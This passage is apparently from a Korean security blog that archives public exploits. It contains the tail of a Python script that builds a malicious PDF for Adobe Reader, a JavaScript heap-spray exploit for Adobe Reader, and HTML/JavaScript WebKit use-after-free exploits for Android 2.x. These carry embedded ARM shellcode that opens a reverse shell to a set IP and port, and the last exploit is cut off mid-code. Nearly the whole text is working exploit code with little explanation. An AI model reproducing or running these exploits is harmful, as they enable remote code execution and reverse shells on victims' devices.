\u0026lt;interactive\u0026gt;1\u0026lt;/interactive\u0026gt; \u0026lt;linearized\u0026gt;1\u0026lt;/linearized\u0026gt; \u0026lt;/pdf\u0026gt; \u0026lt;xdp\u0026gt; \u0026lt;packets\u0026gt;*\u0026lt;/packets\u0026gt; \u0026lt;/xdp\u0026gt; \u0026lt;destination\u0026gt;pdf\u0026lt;/destination\u0026gt; \u0026lt;/present\u0026gt; \u0026lt;/config\u0026gt; \u0026lt;template baseProfile=\u0026#34;interactiveForms\u0026#34; xmlns=\u0026#34;http://www.xfa.org/schema/xfa-template/2.4/\u0026#34;\u0026gt; \u0026lt;subform name=\u0026#34;topmostSubform\u0026#34; layout=\u0026#34;tb\u0026#34; locale=\u0026#34;en_US\u0026#34;\u0026gt; \u0026lt;pageSet\u0026gt; \u0026lt;pageArea id=\u0026#34;PageArea1\u0026#34; name=\u0026#34;PageArea1\u0026#34;\u0026gt; \u0026lt;contentArea name=\u0026#34;ContentArea1\u0026#34; x=\u0026#34;0pt\u0026#34; y=\u0026#34;0pt\u0026#34; w=\u0026#34;612pt\u0026#34; h=\u0026#34;792pt\u0026#34; /\u0026gt; \u0026lt;medium short=\u0026#34;612pt\u0026#34; long=\u0026#34;792pt\u0026#34; stock=\u0026#34;custom\u0026#34; /\u0026gt; \u0026lt;/pageArea\u0026gt; \u0026lt;/pageSet\u0026gt; \u0026lt;subform name=\u0026#34;Page1\u0026#34; x=\u0026#34;0pt\u0026#34; y=\u0026#34;0pt\u0026#34; w=\u0026#34;612pt\u0026#34; h=\u0026#34;792pt\u0026#34;\u0026gt; \u0026lt;break before=\u0026#34;pageArea\u0026#34; beforeTarget=\u0026#34;#PageArea1\u0026#34; /\u0026gt; \u0026lt;bind match=\u0026#34;none\u0026#34; /\u0026gt; \u0026lt;field name=\u0026#34;ImageField1\u0026#34; w=\u0026#34;28.575mm\u0026#34; h=\u0026#34;1.39mm\u0026#34; x=\u0026#34;37.883mm\u0026#34; y=\u0026#34;29.25mm\u0026#34;\u0026gt; \u0026lt;ui\u0026gt; \u0026lt;imageEdit /\u0026gt; \u0026lt;/ui\u0026gt; \u0026lt;/field\u0026gt; \u0026lt;?templateDesigner expand 1?\u0026gt; \u0026lt;/subform\u0026gt; \u0026lt;?templateDesigner expand 1?\u0026gt; \u0026lt;/subform\u0026gt; \u0026lt;?templateDesigner FormTargetVersion 24?\u0026gt; \u0026lt;?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?\u0026gt; \u0026lt;?templateDesigner Zoom 94?\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;xfa:datasets xmlns:xfa=\u0026#34;http://www.xfa.org/schema/xfa-data/1.0/\u0026#34;\u0026gt; \u0026lt;xfa:data\u0026gt; \u0026lt;topmostSubform\u0026gt; \u0026lt;ImageField1 xfa:contentType=\u0026#34;image/tif\u0026#34; href=\u0026#34;\u0026#34;\u0026gt;\u0026#39;\u0026#39;\u0026#39;+self.tiff64 +\u0026#39;\u0026#39;\u0026#39;\u0026lt;/ImageField1\u0026gt; \u0026lt;/topmostSubform\u0026gt; \u0026lt;/xfa:data\u0026gt; \u0026lt;/xfa:datasets\u0026gt; \u0026lt;PDFSecurity xmlns=\u0026#34;http://ns.adobe.com/xtd/\u0026#34; print=\u0026#34;1\u0026#34; printHighQuality=\u0026#34;1\u0026#34; change=\u0026#34;1\u0026#34; modifyAnnots=\u0026#34;1\u0026#34; formFieldFilling=\u0026#34;1\u0026#34; documentAssembly=\u0026#34;1\u0026#34; contentCopy=\u0026#34;1\u0026#34; accessibleContent=\u0026#34;1\u0026#34; metadata=\u0026#34;1\u0026#34; /\u0026gt; \u0026lt;form checksum=\u0026#34;a5Mpguasoj4WsTUtgpdudlf4qd4=\u0026#34; xmlns=\u0026#34;http://www.xfa.org/schema/xfa-form/2.8/\u0026#34;\u0026gt; \u0026lt;subform name=\u0026#34;topmostSubform\u0026#34;\u0026gt; \u0026lt;instanceManager name=\u0026#34;_Page1\u0026#34; /\u0026gt; \u0026lt;subform name=\u0026#34;Page1\u0026#34;\u0026gt; \u0026lt;field name=\u0026#34;ImageField1\u0026#34; /\u0026gt; \u0026lt;/subform\u0026gt; \u0026lt;pageSet\u0026gt; \u0026lt;pageArea name=\u0026#34;PageArea1\u0026#34; /\u0026gt; \u0026lt;/pageSet\u0026gt; \u0026lt;/subform\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/xdp:xdp\u0026gt; \u0026#39;\u0026#39;\u0026#39; return xml def gen_pdf(self): xml = zlib.compress(self.gen_xml()) pdf=\u0026#39;\u0026#39;\u0026#39;%PDF-1.6 1 0 obj \u0026lt;\u0026lt;/Filter /FlateDecode/Length \u0026#39;\u0026#39;\u0026#39; + str(len(xml)) + \u0026#39;\u0026#39;\u0026#39;/Type /EmbeddedFile\u0026gt;\u0026gt; stream \u0026#39;\u0026#39;\u0026#39; + xml+\u0026#39;\u0026#39;\u0026#39; endstream endobj 2 0 obj \u0026lt;\u0026lt;/V () /Kids [3 0 R] /T (topmostSubform[0]) \u0026gt;\u0026gt; endobj 3 0 obj \u0026lt;\u0026lt;/Parent 2 0 R /Kids [4 0 R] /T (Page1[0])\u0026gt;\u0026gt; endobj 4 0 obj \u0026lt;\u0026lt;/MK \u0026lt;\u0026lt;/IF \u0026lt;\u0026lt;/A [0.0 1.0]\u0026gt;\u0026gt;/TP 1\u0026gt;\u0026gt;/P 5 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 3 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]\u0026gt;\u0026gt; endobj 5 0 obj \u0026lt;\u0026lt;/Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources \u0026lt;\u0026lt;/XObject \u0026gt;\u0026gt;/Parent 6 0 R/Type /Page/PieceInfo null\u0026gt;\u0026gt; endobj 6 0 obj \u0026lt;\u0026lt;/Kids [5 0 R]/Type /Pages/Count 1\u0026gt;\u0026gt; endobj 7 0 obj \u0026lt;\u0026lt;/PageMode /UseAttachments/Pages 6 0 R/MarkInfo \u0026lt;\u0026lt;/Marked true\u0026gt;\u0026gt;/Lang (en-us)/AcroForm 8 0 R/Type /Catalog\u0026gt;\u0026gt; endobj 8 0 obj \u0026lt;\u0026lt;/DA (/Helv 0 Tf 0 g )/XFA [(template) 1 0 R]/Fields [2 0 R]\u0026gt;\u0026gt; endobj xref trailer \u0026lt;\u0026lt;/Root 7 0 R/Size 9\u0026gt;\u0026gt; startxref 14765 %%EOF\u0026#39;\u0026#39;\u0026#39; return pdf if __name__==\u0026#34;__main__\u0026#34;: print __doc__ if len(sys.argv) != 2: print \u0026#34;Usage: %s [output.pdf]\u0026#34; % sys.argv[0] print \u0026#34;Creating Exploit to %s\\n\u0026#34;% sys.argv[1] exploit=CVE20100188Exploit(buf) f = open(sys.argv[1],mode=\u0026#39;wb\u0026#39;) f.write(exploit.gen_pdf()) f.close() print \u0026#34;[+] done !\u0026#34; printSeps() - CVE-2010-4091 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function exploit() { function sdlfkasdfiasdflaksdflaf(number) { large_hahacode = unescape(\u0026#34;%u02ba%u0202%u8002%uffca%u6a42%u5843%ucd52%u5a2e%u053c%uf174%u8042%ufcfa%ueb77%u8fb8%u9050%u4058%u023b%uf075%ue2ff\u0026#34;); var large_heap = unescape(\u0026#34;%u1c1c%u0c1c\u0026#34;); while (large_heap.length \u0026lt;= number) large_heap += large_heap; large_heap = large_heap.substring(0, 32768 - large_hahacode.length); memory = new Array(); for (i = 0; i \u0026lt; 0x1024; i++) { memory[i] = large_heap + large_hahacode; } this.printSeps(); } number = 10000; number = number * 3 + 2768; var a = app.viewerVersion; if ((a \u0026gt;= 8) || (a \u0026lt; 10)) sdlfkasdfiasdflaksdflaf(number) elseexit(); } ","date":"2010-11-12T10:39:19Z","permalink":"/2010/11/12/adobe-reader-%EA%B4%80%EB%A0%A8-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A0%95%EB%A6%AC/","title":"Adobe Reader 관련 취약점 정리"},{"content":"안드로이드에서 원격에서 실행가능한 취약점이 확인되었네요.. 기록용으로 남겨 둡니다. 출처 : http://www.exploit-db.com/exploits/15423/, http://www.exploit-db.com/exploits/15548/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script\u0026gt; // bug = webkit code execution CVE-2010-1807 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807 // listed as a safari bug but also works on android :) //tested = moto droid 2.0.1 , moto droid 2.1 , emulater 2.0 - 2.1 //patched= android 2.2 //author = mj // hardcoded to return a shell to 10.0.2.2 port 2222 // function sploit(pop) { var span = document.createElement(\u0026#34;div\u0026#34;); document.getElementById(\u0026#34;pwn\u0026#34;).appendChild(span); span.innerHTML = pop; } function heap() { var scode = unescape(\u0026#34;\\u3c84\\u0057\\u3c80\\u0057\\u3c7c\\u0057\\u3c78\\u0057\\u3c74\\u0057\\u3c70\\u0057\\u3c6c\\u0057\\u3c68\\u0057\\u3c64\\u0057\\u3c60\\u0057\\u3c5c\\u0057\\u3c58\\u0057\\u3c54\\u0057\\u3c50\\u0057\\u3c4c\\u0057\\u3c48\\u0057\\u3c44\\u0057\\u3c40\\u0057\\u3c3c\\u0057\\u3c38\\u0057\\u3c34\\u0057\\u3c30\\u0057\\u3c2c\\u0057\\u3c28\\u0057\\u3c24\\u0057\\u3c20\\u0057\\u3c1c\\u0057\\u3c18\\u0057\\u3c14\\u0057\\u3c10\\u0057\\u3c0c\\u0057\\u3c08\\u0057\\u3c04\\u0057\\u3bfc\\u0057\\u3bfc\\u0057\\u3bf8\\u0057\\u3bf4\\u0057\\u3bf0\\u0057\\u3bec\\u0057\\u3be8\\u0057\\u3be4\\u0057\\u3be0\\u0057\\u3bdc\\u0057\\u3bd8\\u0057\\u3bd4\\u0057\\u3bd0\\u0057\\u3bcc\\u0057\\u3bc8\\u0057\\u3bc4\\u0057\\u3bc0\\u0057\\u3bbc\\u0057\\u3bb8\\u0057\\u3bb4\\u0057\\u3bb0\\u0057\\u3bac\\u0057\\u3ba8\\u0057\\u3ba4\\u0057\\u3ba0\\u0057\\u3b9c\\u0057\\u3b98\\u0057\\u3b94\\u0057\\u3b90\\u0057\\u3b8c\\u0057\\u3b88\\u0057\\u3b84\\u0057\\u3b80\\u0057\\u3b7c\\u0057\\u3b78\\u0057\\u3b74\\u0057\\u3b70\\u0057\\u3b6c\\u0057\\u3b68\\u0057\\u3b64\\u0057\\u3b60\\u0057\\u3b5c\\u0057\\u3b58\\u0057\\u3b54\\u0057\\u3b50\\u0057\\u3b4c\\u0057\\u3b48\\u0057\\u3b44\\u0057\\u3b40\\u0057\\u3b3c\\u0057\\u3b38\\u0057\\u3b34\\u0057\\u3b30\\u0057\\u3b2c\\u0057\\u3b28\\u0057\\u3b24\\u0057\\u3b20\\u0057\\u3b1c\\u0057\\u3b18\\u0057\\u3b14\\u0057\\u3b10\\u0057\\u3b0c\\u0057\\u3b08\\u0057\\u3b04\\u0057\\u3afc\\u0057\\u3afc\\u0057\\u3af8\\u0057\\u3af4\\u0057\\u3af0\\u0057\\u3aec\\u0057\\u3ae8\\u0057\\u3ae4\\u0057\\u3ae0\\u0057\\u3adc\\u0057\\u3ad8\\u0057\\u3ad4\\u0057\\u3ad0\\u0057\\u3acc\\u0057\\u3ac8\\u0057\\u3ac4\\u0057\\u3ac0\\u0057\\u3abc\\u0057\\u3ab8\\u0057\\u3ab4\\u0057\\u3ab0\\u0057\\u3aac\\u0057\\u3aa8\\u0057\\u3aa4\\u0057\\u3aa0\\u0057\\u3a9c\\u0057\\u3a98\\u0057\\u3a94\\u0057\\u3a90\\u0057\\u3a8c\\u0057\\u3a88\\u0057\\u3a84\\u0057\\u3a80\\u0057\\u3a7c\\u0057\\u3a78\\u0057\\u3a74\\u0057\\u3a70\\u0057\\u3a6c\\u0057\\u3a68\\u0057\\u3a64\\u0057\\u3a60\\u0057\\u3a5c\\u0057\\u3a58\\u0057\\u3a54\\u0057\\u3a50\\u0057\\u3a4c\\u0057\\u3a48\\u0057\\u3a44\\u0057\\u3a40\\u0057\\u3a3c\\u0057\\u3a38\\u0057\\u3a34\\u0057\\u3a30\\u0057\\u3a2c\\u0057\\u3a28\\u0057\\u3a24\\u0057\\u3a20\\u0057\\u3a1c\\u0057\\u3a18\\u0057\\u3a14\\u0057\\u3a10\\u0057\\u3a0c\\u0057\\u3a08\\u0057\\u3a04\\u0057\\u39fc\\u0057\\u39fc\\u0057\\u39f8\\u0057\\u39f4\\u0057\\u39f0\\u0057\\u39ec\\u0057\\u39e8\\u0057\\u39e4\\u0057\\u39e0\\u0057\\u39dc\\u0057\\u39d8\\u0057\\u39d4\\u0057\\u39d0\\u0057\\u39cc\\u0057\\u39c8\\u0057\\u39c4\\u0057\\u39c0\\u0057\\u39bc\\u0057\\u39b8\\u0057\\u39b4\\u0057\\u39b0\\u0057\\u39ac\\u0057\\u39a8\\u0057\\u39a4\\u0057\\u39a0\\u0057\\u399c\\u0057\\u3998\\u0057\\u3994\\u0057\\u3990\\u0057\\u398c\\u0057\\u3988\\u0057\\u3984\\u0057\\u3980\\u0057\\u397c\\u0057\\u3978\\u0057\\u3974\\u0057\\u3970\\u0057\\u396c\\u0057\\u3968\\u0057\\u3964\\u0057\\u3960\\u0057\\u395c\\u0057\\u3958\\u0057\\u3954\\u0057\\u3950\\u0057\\u394c\\u0057\\u3948\\u0057\\u3944\\u0057\\u3940\\u0057\\u393c\\u0057\\u3938\\u0057\\u3934\\u0057\\u3930\\u0057\\u392c\\u0057\\u3928\\u0057\\u3924\\u0057\\u3920\\u0057\\u391c\\u0057\\u3918\\u0057\\u3914\\u0057\\u3910\\u0057\\u390c\\u0057\\u3908\\u0057\\u3904\\u0057\\u38fc\\u0057\\u38fc\\u0057\\u38f8\\u0057\\u38f4\\u0057\\u38f0\\u0057\\u38ec\\u0057\\u38e8\\u0057\\u38e4\\u0057\\u38e0\\u0057\\u38dc\\u0057\\u38d8\\u0057\\u38d4\\u0057\\u38d0\\u0057\\u38cc\\u0057\\u38c8\\u0057\\u38c4\\u0057\\u38c0\\u0057\\u38bc\\u0057\\u38b8\\u0057\\u38b4\\u0057\\u38b0\\u0057\\u38ac\\u0057\\u38a8\\u0057\\u38a4\\u0057\\u38a0\\u0057\\u389c\\u0057\\u3898\\u0057\\u3894\\u0057\\u3890\\u0057\\u388c\\u0057\\u3888\\u0057\\u3884\\u0057\\u3880\\u0057\\u387c\\u0057\\u3878\\u0057\\u3874\\u0057\\u3870\\u0057\\u386c\\u0057\\u3868\\u0057\\u3864\\u0057\\u3860\\u0057\\u385c\\u0057\\u3858\\u0057\\u3854\\u0057\\u3850\\u0057\\u384c\\u0057\\u3848\\u0057\\u3844\\u0057\\u3840\\u0057\\u383c\\u0057\\u3838\\u0057\\u3834\\u0057\\u3830\\u0057\\u382c\\u0057\\u3828\\u0057\\u3824\\u0057\\u3820\\u0057\\u381c\\u0057\\u3818\\u0057\\u3814\\u0057\\u3810\\u0057\\u380c\\u0057\\u3808\\u0057\\u3804\\u0057\\u37fc\\u0057\\u37fc\\u0057\\u37f8\\u0057\\u37f4\\u0057\\u37f0\\u0057\\u37ec\\u0057\\u37e8\\u0057\\u37e4\\u0057\\u37e0\\u0057\\u37dc\\u0057\\u37d8\\u0057\\u37d4\\u0057\\u37d0\\u0057\\u37cc\\u0057\\u37c8\\u0057\\u37c4\\u0057\\u37c0\\u0057\\u37bc\\u0057\\u37b8\\u0057\\u37b4\\u0057\\u37b0\\u0057\\u37ac\\u0057\\u37a8\\u0057\\u37a4\\u0057\\u37a0\\u0057\\u379c\\u0057\\u3798\\u0057\\u3794\\u0057\\u3790\\u0057\\u378c\\u0057\\u3788\\u0057\\u3784\\u0057\\u3780\\u0057\\u377c\\u0057\\u3778\\u0057\\u3774\\u0057\\u3770\\u0057\\u376c\\u0057\\u3768\\u0057\\u3764\\u0057\\u3760\\u0057\\u375c\\u0057\\u3758\\u0057\\u3754\\u0057\\u3750\\u0057\\u374c\\u0057\\u3748\\u0057\\u3744\\u0057\\u3740\\u0057\\u373c\\u0057\\u3738\\u0057\\u3734\\u0057\\u3730\\u0057\\u372c\\u0057\\u3728\\u0057\\u3724\\u0057\\u3720\\u0057\\u371c\\u0057\\u3718\\u0057\\u3714\\u0057\\u3710\\u0057\\u370c\\u0057\\u3708\\u0057\\u3704\\u0057\\u36fc\\u0057\\u36fc\\u0057\\u36f8\\u0057\\u36f4\\u0057\\u36f0\\u0057\\u36ec\\u0057\\u36e8\\u0057\\u36e4\\u0057\\u36e0\\u0057\\u36dc\\u0057\\u36d8\\u0057\\u36d4\\u0057\\u36d0\\u0057\\u36cc\\u0057\\u36c8\\u0057\\u36c4\\u0057\\u36c0\\u0057\\u36bc\\u0057\\u36b8\\u0057\\u36b4\\u0057\\u36b0\\u0057\\u36ac\\u0057\\u36a8\\u0057\\u36a4\\u0057\\u36a0\\u0057\\u369c\\u0057\\u3698\\u0057\\u3694\\u0057\\u3690\\u0057\\u368c\\u0057\\u3688\\u0057\\u3684\\u0057\\u3680\\u0057\\u367c\\u0057\\u3678\\u0057\\u3674\\u0057\\u3670\\u0057\\u366c\\u0057\\u3668\\u0057\\u3664\\u0057\\u3660\\u0057\\u365c\\u0057\\u3658\\u0057\\u3654\\u0057\\u3650\\u0057\\u364c\\u0057\\u3648\\u0057\\u3644\\u0057\\u3640\\u0057\\u363c\\u0057\\u3638\\u0057\\u3634\\u0057\\u3630\\u0057\\u362c\\u0057\\u3628\\u0057\\u3624\\u0057\\u3620\\u0057\\u361c\\u0057\\u3618\\u0057\\u3614\\u0057\\u3610\\u0057\\u360c\\u0057\\u3608\\u0057\\u3604\\u0057\\u35fc\\u0057\\u35fc\\u0057\\u35f8\\u0057\\u35f4\\u0057\\u35f0\\u0057\\u35ec\\u0057\\u35e8\\u0057\\u35e4\\u0057\\u35e0\\u0057\\u35dc\\u0057\\u35d8\\u0057\\u35d4\\u0057\\u35d0\\u0057\\u35cc\\u0057\\u35c8\\u0057\\u35c4\\u0057\\u35c0\\u0057\\u35bc\\u0057\\u35b8\\u0057\\u35b4\\u0057\\u35b0\\u0057\\u35ac\\u0057\\u35a8\\u0057\\u35a4\\u0057\\u35a0\\u0057\\u359c\\u0057\\u3598\\u0057\\u3594\\u0057\\u3590\\u0057\\u358c\\u0057\\u3588\\u0057\\u3584\\u0057\\u3580\\u0057\\u357c\\u0057\\u3578\\u0057\\u3574\\u0057\\u3570\\u0057\\u356c\\u0057\\u3568\\u0057\\u3564\\u0057\\u3560\\u0057\\u355c\\u0057\\u3558\\u0057\\u3554\\u0057\\u3550\\u0057\\u354c\\u0057\\u3548\\u0057\\u3544\\u0057\\u3540\\u0057\\u353c\\u0057\\u3538\\u0057\\u3534\\u0057\\u3530\\u0057\\u352c\\u0057\\u3528\\u0057\\u3524\\u0057\\u3520\\u0057\\u351c\\u0057\\u3518\\u0057\\u3514\\u0057\\u3510\\u0057\\u350c\\u0057\\u3508\\u0057\\u3504\\u0057\\u34fc\\u0057\\u34fc\\u0057\\u34f8\\u0057\\u34f4\\u0057\\u34f0\\u0057\\u34ec\\u0057\\u34e8\\u0057\\u34e4\\u0057\\u34e0\\u0057\\u34dc\\u0057\\u34d8\\u0057\\u34d4\\u0057\\u34d0\\u0057\\u34cc\\u0057\\u34c8\\u0057\\u34c4\\u0057\\u34c0\\u0057\\u34bc\\u0057\\u34b8\\u0057\\u34b4\\u0057\\u34b0\\u0057\\u34ac\\u0057\\u34a8\\u0057\\u34a4\\u0057\\u34a0\\u0057\\u349c\\u0057\\u3498\\u0057\\u3494\\u0057\\u3490\\u0057\\u348c\\u0057\\u3488\\u0057\\u3484\\u0057\\u3480\\u0057\\u347c\\u0057\\u3478\\u0057\\u3474\\u0057\\u3470\\u0057\\u346c\\u0057\\u3468\\u0057\\u3464\\u0057\\u3460\\u0057\\u345c\\u0057\\u3458\\u0057\\u3454\\u0057\\u3450\\u0057\\u344c\\u0057\\u3448\\u0057\\u3444\\u0057\\u3440\\u0057\\u343c\\u0057\\u3438\\u0057\\u3434\\u0057\\u3430\\u0057\\u342c\\u0057\\u3428\\u0057\\u3424\\u0057\\u3420\\u0057\\u341c\\u0057\\u3418\\u0057\\u3414\\u0057\\u3410\\u0057\\u340c\\u0057\\u3408\\u0057\\u3404\\u0057\\u33fc\\u0057\\u33fc\\u0057\\u33f8\\u0057\\u33f4\\u0057\\u33f0\\u0057\\u33ec\\u0057\\u33e8\\u0057\\u33e4\\u0057\\u33e0\\u0057\\u33dc\\u0057\\u33d8\\u0057\\u33d4\\u0057\\u33d0\\u0057\\u33cc\\u0057\\u33c8\\u0057\\u33c4\\u0057\\u33c0\\u0057\\u33bc\\u0057\\u33b8\\u0057\\u33b4\\u0057\\u33b0\\u0057\\u33ac\\u0057\\u33a8\\u0057\\u33a4\\u0057\\u33a0\\u0057\\u339c\\u0057\\u3398\\u0057\\u3394\\u0057\\u3390\\u0057\\u338c\\u0057\\u3388\\u0057\\u3384\\u0057\\u3380\\u0057\\u337c\\u0057\\u3378\\u0057\\u3374\\u0057\\u3370\\u0057\\u336c\\u0057\\u3368\\u0057\\u3364\\u0057\\u3360\\u0057\\u335c\\u0057\\u3358\\u0057\\u3354\\u0057\\u3350\\u0057\\u334c\\u0057\\u3348\\u0057\\u3344\\u0057\\u3340\\u0057\\u333c\\u0057\\u3338\\u0057\\u3334\\u0057\\u3330\\u0057\\u332c\\u0057\\u3328\\u0057\\u3324\\u0057\\u3320\\u0057\\u331c\\u0057\\u3318\\u0057\\u3314\\u0057\\u3310\\u0057\\u330c\\u0057\\u3308\\u0057\\u3304\\u0057\\u32fc\\u0057\\u32fc\\u0057\\u32f8\\u0057\\u32f4\\u0057\\u32f0\\u0057\\u32ec\\u0057\\u32e8\\u0057\\u32e4\\u0057\\u32e0\\u0057\\u32dc\\u0057\\u32d8\\u0057\\u32d4\\u0057\\u32d0\\u0057\\u32cc\\u0057\\u32c8\\u0057\\u32c4\\u0057\\u32c0\\u0057\\u32bc\\u0057\\u32b8\\u0057\\u32b4\\u0057\\u32b0\\u0057\\u32ac\\u0057\\u32a8\\u0057\\u32a4\\u0057\\u32a0\\u0057\\u329c\\u0057\\u3298\\u0057\\u3294\\u0057\\u3290\\u0057\\u328c\\u0057\\u3288\\u0057\\u3284\\u0057\\u3280\\u0057\\u327c\\u0057\\u3278\\u0057\\u3274\\u0057\\u3270\\u0057\\u326c\\u0057\\u3268\\u0057\\u3264\\u0057\\u3260\\u0057\\u325c\\u0057\\u3258\\u0057\\u3254\\u0057\\u3250\\u0057\\u324c\\u0057\\u3248\\u0057\\u3244\\u0057\\u3240\\u0057\\u323c\\u0057\\u3238\\u0057\\u3234\\u0057\\u3230\\u0057\\u322c\\u0057\\u3228\\u0057\\u3224\\u0057\\u3220\\u0057\\u321c\\u0057\\u3218\\u0057\\u3214\\u0057\\u3210\\u0057\\u320c\\u0057\\u3208\\u0057\\u3204\\u0057\\u31fc\\u0057\\u31fc\\u0057\\u31f8\\u0057\\u31f4\\u0057\\u31f0\\u0057\\u31ec\\u0057\\u31e8\\u0057\\u31e4\\u0057\\u31e0\\u0057\\u31dc\\u0057\\u31d8\\u0057\\u31d4\\u0057\\u31d0\\u0057\\u31cc\\u0057\\u31c8\\u0057\\u31c4\\u0057\\u31c0\\u0057\\u31bc\\u0057\\u31b8\\u0057\\u31b4\\u0057\\u31b0\\u0057\\u31ac\\u0057\\u31a8\\u0057\\u31a4\\u0057\\u31a0\\u0057\\u319c\\u0057\\u3198\\u0057\\u3194\\u0057\\u3190\\u0057\\u318c\\u0057\\u3188\\u0057\\u3184\\u0057\\u3180\\u0057\\u317c\\u0057\\u3178\\u0057\\u3174\\u0057\\u3170\\u0057\\u316c\\u0057\\u3168\\u0057\\u3164\\u0057\\u3160\\u0057\\u315c\\u0057\\u3158\\u0057\\u3154\\u0057\\u3150\\u0057\\u314c\\u0057\\u3148\\u0057\\u3144\\u0057\\u3140\\u0057\\u313c\\u0057\\u3138\\u0057\\u3134\\u0057\\u3130\\u0057\\u312c\\u0057\\u3128\\u0057\\u3124\\u0057\\u3120\\u0057\\u311c\\u0057\\u3118\\u0057\\u3114\\u0057\\u3110\\u0057\\u310c\\u0057\\u3108\\u0057\\u3104\\u0057\\u30fc\\u0057\\u30fc\\u0057\\u30f8\\u0057\\u30f4\\u0057\\u30f0\\u0057\\u30ec\\u0057\\u30e8\\u0057\\u30e4\\u0057\\u30e0\\u0057\\u30dc\\u0057\\u30d8\\u0057\\u30d4\\u0057\\u30d0\\u0057\\u30cc\\u0057\\u30c8\\u0057\\u30c4\\u0057\\u30c0\\u0057\\u30bc\\u0057\\u30b8\\u0057\\u30b4\\u0057\\u30b0\\u0057\\u30ac\\u0057\\u30a8\\u0057\\u30a4\\u0057\\u30a0\\u0057\\u309c\\u0057\\u3098\\u0057\\u3094\\u0057\\u3090\\u0057\\u308c\\u0057\\u3088\\u0057\\u3084\\u0057\\u3080\\u0057\\u307c\\u0057\\u3078\\u0057\\u3074\\u0057\\u3070\\u0057\\u306c\\u0057\\u3068\\u0057\\u3064\\u0057\\u3060\\u0057\\u305c\\u0057\\u3058\\u0057\\u3054\\u0057\\u3050\\u0057\\u304c\\u0057\\u3048\\u0057\\u3044\\u0057\\u3040\\u0057\\u303c\\u0057\\u3038\\u0057\\u3034\\u0057\\u3030\\u0057\\u302c\\u0057\\u3028\\u0057\\u3024\\u0057\\u3020\\u0057\\u301c\\u0057\\u3018\\u0057\\u3014\\u0057\\u3010\\u0057\\u300c\\u0057\\u3008\\u0057\\u3004\\u0057\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u1001\\ue1a0\\u0002\\ue3a0\\u1001\\ue3a0\\u2005\\ue281\\u708c\\ue3a0\\u708d\\ue287\\u0080\\uef00\\u6000\\ue1a0\\u1084\\ue28f\\u2010\\ue3a0\\u708d\\ue3a0\\u708e\\ue287\\u0080\\uef00\\u0006\\ue1a0\\u1000\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u0006\\ue1a0\\u1001\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u0006\\ue1a0\\u1002\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u2001\\ue28f\\uff12\\ue12f\\u4040\\u2717\\udf80\\ua005\\ua508\\u4076\\u602e\\u1b6d\\ub420\\ub401\\u4669\\u4052\\u270b\\udf80\\u2f2f\\u732f\\u7379\\u6574\\u2f6d\\u6962\\u2f6e\\u6873\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u0002\\uae08\\u000a\\u0202\\u2000\\u2000\u0026#34;) do { scode += scode; } while(scode.length \u0026lt; 0x1000); target = new Array(); for(i = 0; i \u0026lt; 1000; i++) target[i] = scode; for (i = 0; i \u0026lt;= 1000; i++) { if (i\u0026gt;999) { sploit(-parseFloat(\u0026#34;NAN(ffffe00572c60)\u0026#34;)); } document.write(\u0026#34;The targets!! \u0026#34; + target[i]); document.write(\u0026#34;\u0026lt;br /\u0026gt;\u0026#34;); } } \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body id=\u0026#34;pwn\u0026#34;\u0026gt; woot \u0026lt;script\u0026gt; heap(); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 # Exploit Title: Android 2.0/2.1 Use-After-Free Remote Code Execution on Webkit # Date: 14/11/2010 # Author: Itzhak Avraham, mj # Tested on: Droid 2.1 # CVE : CVE-2010-1807 *Better exploit (better rate and more flexible for changes, also shorter shellcode) than what you have, plus, it\u0026#39;s also verified. Enjoy! More details at : * http://imthezuk.blogspot.com/2010/11/float-parsing-use-after-free.html* \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script\u0026gt; //This code is only for security researches/teaching purposes,use at your own risk! // bug = webkit remote code execution CVE-2010-1807 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807 //patched= android 2.2, some said it works on some devices with 2.2. //originally noticed/written by mj(good job man!) //new exploit version by Itzhak Zuk Avraham (itz2000[AT]GMAIL[DOT]COM) - http://imthezuk.blogspot.com var ip = unescape(\u0026#34;\\ua8c0\\u0100\u0026#34;); // ip = 192.168.0.1 var port = unescape(\u0026#34;\\u3930\u0026#34;); //port 12345 (hex(0x3039)) //var ip = e.g: unescape(\u0026#34;\\u000a\\u0202\u0026#34;); //ip = 10.0.2.2 function trigger() { var span = document.createElement(\u0026#34;div\u0026#34;); document.getElementById(\u0026#34;BodyID\u0026#34;).appendChild(span); span.innerHTML = -parseFloat(\u0026#34;NAN(ffffe00572c60)\u0026#34;); //trigger use-after-free } 